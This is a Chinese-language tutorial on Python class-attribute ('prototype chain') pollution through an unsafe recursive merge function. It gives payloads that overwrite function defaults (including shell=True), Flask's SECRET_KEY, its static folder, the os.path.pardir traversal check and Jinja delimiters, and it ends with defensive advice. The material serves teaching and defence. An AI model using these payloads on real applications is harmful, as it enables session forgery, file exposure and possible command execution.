浅谈Python原型链污染及利用方式
字数 789 2025-08-23 18:31:09

Python原型链污染攻击详解

一、基本概念

Python原型链污染与Node.js原型链污染原理相似,都是通过控制属性值来实现污染。但Python只能污染类的属性,不能污染类的方法。

二、危险代码分析

关键merge函数

def merge(src, dst):
    # 递归合并函数
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

这个函数的工作原理:

  1. 遍历src中的键值对
  2. 检查dst是否有__getitem__属性判断是否为字典
  3. 如果是字典且存在相同键且值为字典,则递归合并
  4. 否则直接设置属性值

三、污染过程分析

基础污染示例

class father:
    secret = "hello"

class son_a(father):
    pass

class son_b(father):
    pass

instance = son_b()
payload = {
    "__class__": {
        "__base__": {
            "secret": "world"
        }
    }
}

print(son_a.secret)  # hello
print(instance.secret)  # hello
merge(payload, instance)
print(son_a.secret)  # world
print(instance.secret)  # world

污染过程:

  1. 通过__class__获取实例的类
  2. 通过__base__获取父类
  3. 修改父类的secret属性

四、关键攻击技术

1. 获取目标类的方法

  • __base__属性:用于获取继承的父类
  • __globals__属性:访问函数所在模块的全局命名空间
a = 1

def demo():
    pass

class A:
    def __init__(self):
        pass

print(demo.__globals__ == globals() == A.__init__.__globals__)  # True

2. 获取其他模块的方法

(1) 直接import获取

import demo

payload = {
    "__init__": {
        "__globals__": {
            "demo": {
                "a": 4,
                "B": {
                    "classa": 5
                }
            }
        }
    }
}

(2) 通过sys模块获取

import sys

payload = {
    "__init__": {
        "__globals__": {
            "sys": {
                "modules": {
                    "demo": {
                        "a": 4,
                        "B": {
                            "classa": 5
                        }
                    }
                }
            }
        }
    }
}

(3) 通过加载器(loader)获取

import math

# 获取模块的loader
loader = math.__loader__
print(loader)

# 或者通过__spec__
loader = math.__spec__.__init__.__globals__['sys']

3. 函数形参默认值替换

  • __defaults__:存储函数默认参数值的元组
  • __kwdefaults__:存储关键字参数的字典
def a(var_1, var_2=2, var_3=3):
    pass

print(a.__defaults__)  # (2, 3)

# 替换示例
payload = {
    "__init__": {
        "__globals__": {
            "demo": {
                "__defaults__": (True,)
            }
        }
    }
}

# 关键字参数替换
payload = {
    "__init__": {
        "__globals__": {
            "demo": {
                "__kwdefaults__": {
                    "shell": True
                }
            }
        }
    }
}

五、Flask框架下的攻击技术

1. Flask密钥替换

payload = {
    "__init__": {
        "__globals__": {
            "app": {
                "config": {
                    "SECRET_KEY": "Polluted~"
                }
            }
        }
    }
}

2. 控制首次请求标志

payload = {
    "__init__": {
        "__globals__": {
            "app": {
                "_got_first_request": False
            }
        }
    }
}

3. 静态目录污染

payload = {
    "__init__": {
        "__globals__": {
            "app": {
                "_static_folder": "./"
            }
        }
    }
}

4. 绕过目录遍历防护

payload = {
    "__init__": {
        "__globals__": {
            "os": {
                "path": {
                    "pardir": ","
                }
            }
        }
    }
}

5. Jinja语法标识符修改

payload = {
    "__init__": {
        "__globals__": {
            "app": {
                "jinja_env": {
                    "variable_start_string": "[[",
                    "variable_end_string": "]]"
                }
            }
        }
    }
}

六、防御建议

  1. 避免使用不安全的merge操作
  2. 对用户输入进行严格过滤
  3. 限制可修改的属性范围
  4. 使用不可变对象存储敏感配置
  5. 及时更新框架版本

七、总结

Python原型链污染攻击主要通过控制类属性值来实现,利用Python的特殊属性如__class____base____globals__等来访问和修改关键配置。在Web框架如Flask中,这种技术可以用于修改密钥、绕过安全限制等,危害极大。开发者应当充分了解这些攻击技术,才能更好地防御此类攻击。

Python原型链污染攻击详解 一、基本概念 Python原型链污染与Node.js原型链污染原理相似,都是通过控制属性值来实现污染。但Python只能污染类的属性,不能污染类的方法。 二、危险代码分析 关键merge函数 这个函数的工作原理: 遍历src中的键值对 检查dst是否有 __getitem__ 属性判断是否为字典 如果是字典且存在相同键且值为字典,则递归合并 否则直接设置属性值 三、污染过程分析 基础污染示例 污染过程: 通过 __class__ 获取实例的类 通过 __base__ 获取父类 修改父类的 secret 属性 四、关键攻击技术 1. 获取目标类的方法 __base__ 属性 :用于获取继承的父类 __globals__ 属性 :访问函数所在模块的全局命名空间 2. 获取其他模块的方法 (1) 直接import获取 (2) 通过sys模块获取 (3) 通过加载器(loader)获取 3. 函数形参默认值替换 __defaults__ :存储函数默认参数值的元组 __kwdefaults__ :存储关键字参数的字典 五、Flask框架下的攻击技术 1. Flask密钥替换 2. 控制首次请求标志 3. 静态目录污染 4. 绕过目录遍历防护 5. Jinja语法标识符修改 六、防御建议 避免使用不安全的merge操作 对用户输入进行严格过滤 限制可修改的属性范围 使用不可变对象存储敏感配置 及时更新框架版本 七、总结 Python原型链污染攻击主要通过控制类属性值来实现,利用Python的特殊属性如 __class__ 、 __base__ 、 __globals__ 等来访问和修改关键配置。在Web框架如Flask中,这种技术可以用于修改密钥、绕过安全限制等,危害极大。开发者应当充分了解这些攻击技术,才能更好地防御此类攻击。